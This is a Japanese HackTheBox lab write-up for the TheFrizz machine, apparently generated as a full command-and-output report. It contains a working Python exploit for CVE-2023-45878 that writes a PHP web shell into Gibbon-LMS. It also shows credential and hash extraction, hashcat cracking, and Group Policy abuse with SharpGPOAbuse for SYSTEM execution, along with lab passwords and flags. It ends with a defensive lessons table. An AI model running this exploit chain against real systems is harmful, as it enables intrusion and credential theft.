HackTheBox: TheFrizz — 全実行コマンド・実行結果レポート
Nmap スキャン
AD DC frizzdc.frizz.htb / Gibbon-LMS
→
AD DC frizzdc.frizz.htb / Gibbon-LMS
CVE-2023-45878
Gibbon-LMS 認証不要ファイル書込RCE
→
Gibbon-LMS 認証不要ファイル書込RCE
Webシェル
frizz\w.webservice RCE
→
frizz\w.webservice RCE
config.php + MySQL
f.frizzleのSHA256ハッシュ奪取
→
f.frizzleのSHA256ハッシュ奪取
hashcat crack
Jenni_Luvs_Magic23
→
Jenni_Luvs_Magic23
Kerberos SSH
user.txt ✓
→
user.txt ✓
ゴミ箱復元
WAPTバックアップ→m.schoolbusパスワード
→
WAPTバックアップ→m.schoolbusパスワード
Group Policy Creator Owners
SharpGPOAbuseでSYSTEMタスク注入
→
SharpGPOAbuseでSYSTEMタスク注入
gpupdate /force
root.txt ✓
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャンとAD検出
BASH
nmap -Pn -p- --min-rate 500 -T4 10.129.232.168 nmap -sV -sC -p 22,53,80,88,135,139,389,445,636,3268,3269,9389 10.129.232.168
RESULT
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH for_Windows_9.5
53/tcp open domain Simple DNS Plus
80/tcp open http Apache httpd 2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc Microsoft Windows RPC
389/tcp open ldap Microsoft Windows Active Directory LDAP
(Domain: frizz.htb, Site: Default-First-Site-Name)
445/tcp open microsoft-ds
3268/tcp open ldap Global Catalog LDAP
9389/tcp open adws Active Directory Web Services
|_clock-skew: 6h59m34s
ℹ️
LDAPのバナーから即座にドメイン
frizz.htb と判明。Active
Directoryドメインコントローラであり、Kerberos(88番)が稼働しているため
SSHもパスワード認証ではなくGSSAPI(Kerberos)認証が
使われる可能性が高い。clock-skewがおよそ7時間と大きく、
後続のKerberos操作はfaketimeでクライアント側の時刻を
ターゲットに合わせる必要がある。
BASH
echo "10.129.232.168 frizz.htb frizzdc.frizz.htb" | sudo tee -a /etc/hosts curl -sI http://10.129.232.168/
RESULT
HTTP/1.1 302 Found
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
Location: http://frizzdc.frizz.htb/home/
ℹ️
ルートへのアクセスが
http://frizzdc.frizz.htb/home/
へリダイレクトされ、”Walkerville Elementary School” のサイトが
表示される。Staff Loginページから Gibbon-LMS
(学校向け学習管理システム) が動いていることが確認できる。
PHASE 2
CVE-2023-45878: Gibbon-LMS 認証不要ファイル書き込みRCE
脆弱性の背景
NOTE
Gibbon-LMS (v25.0.00) の rubrics_visualise_saveAjax.php は、 評価ルーブリック描画時に生徒の作品画像をBase64データとして受け取り サーバー側に保存する機能を持つが、認証チェックとファイル拡張子 検証が欠落している(CVE-2023-45878)。"img" パラメータの形式を "image/png;asdf,<base64>" (data:URIではなく独自の簡易形式で "base64" ではなくリテラル文字列 "asdf" を区切りに使う特有の実装) に すると、指定した任意のファイル名・拡張子で任意内容のファイルを Webルート配下に書き込める。PHPファイルとして保存すればRCEに直結する。
PYTHON (公開PoC davidzzo23/CVE-2023-45878 に準拠した形式)
import base64, requests
shell_php = "<?php system($_REQUEST['cmd']); ?>"
b64_payload = base64.b64encode(shell_php.encode()).decode()
shell_name = "kcr_shell.php"
upload_url = "http://frizzdc.frizz.htb/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php"
form = {
"img": f"image/png;asdf,{b64_payload}",
"path": shell_name,
"gibbonPersonID": "0000000001",
}
requests.post(upload_url, data=form, timeout=12)
⚠️
重要:
img パラメータは
"data:image/png;base64,..."のような一般的なdata URI
形式ではなく、"image/png;asdf,<base64>" という
独自形式でなければ受理されない(asdf はリテラル文字列)。
gibbonPersonID フィールドも必須。
RCE確認
BASH
curl -s "http://frizzdc.frizz.htb/Gibbon-LMS/kcr_shell.php?cmd=whoami"
RESULT
frizz\w.webservice
✅
Webシェルが
/Gibbon-LMS/kcr_shell.phpに設置され、
サービスアカウントfrizz\w.webserviceとしてコマンド実行
ができる状態になった。
PHASE 3
DB資格情報奪取 → ハッシュクラック → Kerberos SSH → user.txt
Gibbon-LMS設定ファイルからDB資格情報を取得
BASH
curl -s "http://frizzdc.frizz.htb/Gibbon-LMS/kcr_shell.php" \ --data-urlencode 'cmd=type C:\xampp\htdocs\Gibbon-LMS\config.php' -G
RESULT
$databaseUsername = 'MrGibbonsDB';
$databasePassword = 'MisterGibbs!Parrot!?1';
$databaseServer = 'localhost';
$databaseName = 'gibbon';
MySQLからf.frizzleのパスワードハッシュを抽出
BASH
curl -s "http://frizzdc.frizz.htb/Gibbon-LMS/kcr_shell.php" --data-urlencode \ 'cmd=c:\xampp\mysql\bin\mysql.exe -uMrGibbonsDB -p"MisterGibbs!Parrot!?1" gibbon -e "select username,passwordStrong,passwordStrongSalt from gibbonperson where username=\'f.frizzle\';"' -G
RESULT
username passwordStrong passwordStrongSalt f.frizzle 067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c0 /aACFhikmNopqrRTVz2489
ハッシュクラック (SHA256 + salt, hashcat mode 1420)
BASH
echo '067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c0:/aACFhikmNopqrRTVz2489' > fiona_hash.txt hashcat -m 1420 fiona_hash.txt /usr/share/wordlists/rockyou.txt --quiet hashcat -m 1420 fiona_hash.txt --show
RESULT
067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c0:/aACFhikmNopqrRTVz2489:Jenni_Luvs_Magic23
Kerberos TGT取得とSSHログイン
NOTE
sshd はパスワード認証を許可しておらず、gssapi-with-mic(Kerberos) 認証のみ有効。サンドボックスのシステム時計とターゲットの時計が 約7時間ずれているため(clock-skew参照)、KRB_AP_ERR_SKEWを避けるため faketimeでクライアント時刻をnet time -Sで取得したターゲット時刻へ 合わせてからKerberos関連コマンドを実行する。また、SSHの接続先は "frizz.htb" ではなくDCの実ホスト名 "frizzdc.frizz.htb" である必要が ある(SPN host/frizz.htb がKerberosデータベースに存在せず "Server not found in Kerberos database" になるため)。
BASH
cat > krb5.conf <<'EOF'
[libdefaults]
default_realm = FRIZZ.HTB
dns_lookup_realm = false
dns_lookup_kdc = false
[realms]
FRIZZ.HTB = { kdc = frizzdc.frizz.htb }
[domain_realm]
.frizz.htb = FRIZZ.HTB
EOF
export KRB5_CONFIG=./krb5.conf
TIMESTR=$(net time -S 10.129.232.168)
EPOCH=$(date -d "$TIMESTR" +%s)
faketime "@$EPOCH" impacket-getTGT -dc-ip 10.129.232.168 frizz.htb/f.frizzle:'Jenni_Luvs_Magic23'
export KRB5CCNAME=f.frizzle.ccache
faketime "@$EPOCH" ssh -K -o GSSAPIAuthentication=yes -o GSSAPIDelegateCredentials=yes \
f.frizzle@frizzdc.frizz.htb powershell -Command "Get-Content C:\Users\f.frizzle\Desktop\user.txt"
RESULT
[*] Saving ticket in f.frizzle.ccache
56cfa4224ff5f1a8366b8d21a7868b84
user.txt — f.frizzle
56cfa4224ff5f1a8366b8d21a7868b84
PHASE 4
ゴミ箱からWAPTバックアップを復元してm.schoolbusのパスワードを奪取
ごみ箱内のWAPTバックアップをデスクトップへ復元
NOTE
f.frizzleのデスクトップには見当たらないが、ごみ箱に "wapt-backup-sunday.7z" が削除済みで残っている。Shell.Application COMオブジェクトのRecycle Bin名前空間(0xA)からアイテムを検索し、 MoveHere()でデスクトップへ復元する。
BASH (PowerShell経由)
faketime "@$EPOCH" ssh -K -o GSSAPIAuthentication=yes -o GSSAPIDelegateCredentials=yes \
f.frizzle@frizzdc.frizz.htb powershell -Command '
$rb=(New-Object -ComObject Shell.Application).NameSpace(0xA);
$item=$rb.Items() | Where-Object {$_.Name -eq "wapt-backup-sunday.7z"} | Select-Object -First 1;
if ($item) {
$dst=(New-Object -ComObject Shell.Application).NameSpace([Environment]::GetFolderPath("Desktop"));
$dst.MoveHere($item);
}'
scp -o GSSAPIAuthentication=yes -o GSSAPIDelegateCredentials=yes \
f.frizzle@frizzdc.frizz.htb:C:/Users/f.frizzle/Desktop/wapt-backup-sunday.7z ./
RESULT
wapt-backup-sunday.7z 100% XXX KB
アーカイブ展開とwaptserver.iniからパスワード抽出
BASH
7z x -y -owapt_extract wapt-backup-sunday.7z cat wapt_extract/wapt/conf/waptserver.ini
RESULT
[options]
allow_unauthenticated_registration = True
secret_key = ylPYfn9tTU9IDu9yssP2luKhjQijHKvtuxIzX9aWhPyYKtRO7tMSq5sEurdTwADJ
server_uuid = 646d0847-f8b8-41c3-95bc-51873ec9ae38
token_secret_key = 5jEKVoXmYLSpi5F7plGPB4zII5fpx0cYhGKX5QC0f7dkYpYmkeTXiFlhEJtZwuwD
wapt_password = IXN1QmNpZ0BNZWhUZWQhUgo=
clients_signing_key = C:\wapt\conf\ca-192.168.120.158.pem
BASH
echo "IXN1QmNpZ0BNZWhUZWQhUgo=" | base64 -d
RESULT
!suBcig@MehTed!R
⚠️
注意: 展開先アーカイブには
.exeや
.sqliteなどのバイナリファイルが多数含まれる。
wapt_passwordという文字列で全ファイルを無差別に
正規表現走査すると、たまたまバイナリ内の偶然の一致を拾って
文字化けした誤ったパスワードを抽出してしまうことがあるため、
必ず本物の設定ファイル wapt/conf/waptserver.ini
(.templateではない方)だけを対象にすること。
m.schoolbusとしてログイン確認
BASH
faketime "@$EPOCH" impacket-getTGT -dc-ip 10.129.232.168 frizz.htb/m.schoolbus:'!suBcig@MehTed!R' export KRB5CCNAME=m.schoolbus.ccache faketime "@$EPOCH" ssh -K -o GSSAPIAuthentication=yes -o GSSAPIDelegateCredentials=yes \ m.schoolbus@frizzdc.frizz.htb powershell -Command "whoami /groups"
RESULT
GROUP INFORMATION
-----------------
frizz\Desktop Admins Group ...
frizz\Group Policy Creator Owners Group ...
✅
m.schoolbusはGroup Policy Creator Owners
グループのメンバー。ドメイン管理者権限がなくても新規GPOを作成でき、
自分が作成したGPOに任意の設定を追加できる — これがroot昇格の鍵となる。
PHASE 5
Group Policy Creator Owners 悪用によるSYSTEM権限奪取
新規GPO作成とDomain Controllers OUへのリンク
BASH (PowerShell経由)
faketime "@$EPOCH" ssh -K -o GSSAPIAuthentication=yes -o GSSAPIDelegateCredentials=yes \ m.schoolbus@frizzdc.frizz.htb powershell -Command ' New-GPO -Name "kcr-thefrizz-privesc" | New-GPLink -Target "OU=Domain Controllers,DC=FRIZZ,DC=HTB" -LinkEnabled Yes'
RESULT
GpoId : 0709be5a-92d8-4edd-a784-b4ac6d535437 DisplayName : kcr-thefrizz-privesc Target : OU=Domain Controllers,DC=frizz,DC=htb Order : 2
ℹ️
Group Policy Creator Ownersのメンバーは自分が作成した
GPOに対しては作成者(オーナー)としてフルコントロール
を持つため、GPOの新規作成とOUへのリンクが可能。Domain Controllers
OUへリンクすることで、DC自身(SYSTEM権限で動作するコンピュータ
アカウント)にこのGPOが適用される。
SharpGPOAbuseでコンピュータの即時タスクを注入
BASH (SharpGPOAbuse.exeをSCPでDCへ転送後、実行)
scp -o GSSAPIAuthentication=yes -o GSSAPIDelegateCredentials=yes \ SharpGPOAbuse.exe m.schoolbus@frizzdc.frizz.htb:C:/Users/m.schoolbus/Desktop/ faketime "@$EPOCH" ssh -K -o GSSAPIAuthentication=yes -o GSSAPIDelegateCredentials=yes \ m.schoolbus@frizzdc.frizz.htb powershell -Command ' & "C:\Users\m.schoolbus\Desktop\SharpGPOAbuse.exe" --AddComputerTask ` --GPOName "kcr-thefrizz-privesc" --Author KCR --TaskName KCRRoot ` --Command "powershell.exe" ` --Arguments " -NoP -W Hidden -Command Copy-Item C:\Users\Administrator\Desktop\root.txt C:\Users\Public\root.txt -Force; icacls C:\Users\Public\root.txt /grant Everyone:F"'
RESULT
[+] Domain = frizz.htb
[+] Domain Controller = frizzdc.frizz.htb
[+] GUID of "kcr-thefrizz-privesc" is: {0709BE5A-92D8-4EDD-A784-B4AC6D535437}
[+] Creating file \\frizz.htb\SysVol\...\ScheduledTasks\ScheduledTasks.xml
[+] versionNumber attribute changed successfully
[+] The version number in GPT.ini was increased successfully.
[+] The GPO was modified to include a new immediate task. Wait for the GPO refresh cycle.
[+] Done!
🚨
ハマりどころ:
SharpGPOAbuse.exeの
ロングオプション名は大文字小文字を区別する
(--addcomputertaskではなく--AddComputerTask、
--gponameではなく--GPOName等)。また
--Argumentsに渡す値が-NoP ...のように
“-“から始まると、内部の引数パーサーがそれを新しい
フラグと誤認し"[!] Unknown argument error."で
失敗する。値の先頭に半角スペースを1つ入れることでこの誤認識を
回避できる(Windowsのコマンドライン解析上、先頭の空白は実行時に
無視されるため実害はない)。
gpupdate /force でGPOを強制適用
BASH
faketime "@$EPOCH" ssh -K -o GSSAPIAuthentication=yes -o GSSAPIDelegateCredentials=yes \ m.schoolbus@frizzdc.frizz.htb powershell -Command "gpupdate /force"
RESULT
Updating policy... Computer Policy update has completed successfully. User Policy update has completed successfully.
ℹ️
GPOが再適用されるとGPOプリファレンスのScheduledTasks拡張機能が
コンピュータ起動時に即時実行されるタスクをDC上に作成し、
SYSTEM権限で
root.txtを
C:\Users\Public\へコピーして誰でも読めるように
パーミッションを変更するコマンドを実行する。
root.txt 取得
BASH
faketime "@$EPOCH" ssh -K -o GSSAPIAuthentication=yes -o GSSAPIDelegateCredentials=yes \ m.schoolbus@frizzdc.frizz.htb powershell -Command "Get-Content C:\Users\Public\root.txt"
RESULT
5705934a57b2f854c3701a03e6bc536d
root.txt — SYSTEM経由コピー
5705934a57b2f854c3701a03e6bc536d
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — f.frizzle
56cfa4224ff5f1a8366b8d21a7868b84
root.txt — SYSTEM経由
5705934a57b2f854c3701a03e6bc536d
使用した脆弱性・悪用手法
| 脆弱性/手法 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| CVE-2023-45878 | Gibbon-LMS (v25.0.00) | 認証不要の任意ファイル書き込みRCE | Critical | rubrics_visualise_saveAjax.phpの独自img形式(image/png;asdf,<b64>)を悪用しPHP Webシェルを任意パスへ書き込む |
| DB資格情報平文保存 | Gibbon-LMS config.php | MySQL資格情報漏洩 | High | Webルート外だが読み取り可能なconfig.phpから直接DBパスワードを取得 |
| ゴミ箱への機密バックアップ残置 | f.frizzleのDesktop/Recycle Bin | WAPTサーバーパスワード漏洩 | High | 削除済みだが復元可能な7zバックアップにbase64エンコードされたパスワードが平文同然で保存 |
| Group Policy Creator Owners悪用 | m.schoolbusの過剰な委任権限 | ドメインコントローラでのSYSTEM権限奪取 | Critical | 自作GPOをDomain Controllers OUへリンクし、SharpGPOAbuseで即時実行タスクを注入、gpupdate /forceでSYSTEM権限のコード実行を達成 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap + AD LDAP指紋 | frizz.htb AD DC発見 |
| 2 | 初期侵入 | CVE-2023-45878 Gibbon-LMS RCE | frizz\w.webservice シェル |
| 3 | 横展開 | config.php + MySQL + hashcat | f.frizzle:Jenni_Luvs_Magic23 → user.txt |
| 4 | 資格情報窃取 | ゴミ箱復元 + WAPTバックアップ解析 | m.schoolbus:!suBcig@MehTed!R |
| 5 | 権限昇格 | GPO Creator Owners + SharpGPOAbuse | root.txt(SYSTEM) |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| Gibbon-LMSの評価ルーブリック画像アップロード処理に認証・拡張子検証が欠落している | Gibbon-LMSを修正済みバージョンへ更新する。アップロード処理は必ず認証済みセッションと厳格な拡張子/MIME検証を要求する。 |
| Webアプリの設定ファイル(config.php)にDB資格情報が平文で保存されている | 秘密情報は環境変数やシークレット管理システム(Vault等)で管理し、Webルート内には保存しない。 |
| 削除しただけのファイル(ゴミ箱)がバックアップとして機密パスワードを保持している | 不要になった機密情報を含むファイルはゴミ箱から完全削除(Shift+Delete)するか、機密情報自体を暗号化保存する。 |
| 一般ユーザーアカウントが「Group Policy Creator Owners」の強力な委任権限を持つ | GPO作成権限は必要最小限のユーザーにのみ付与し、日常業務アカウントには付与しない。GPO変更の監査ログを有効化する。 |

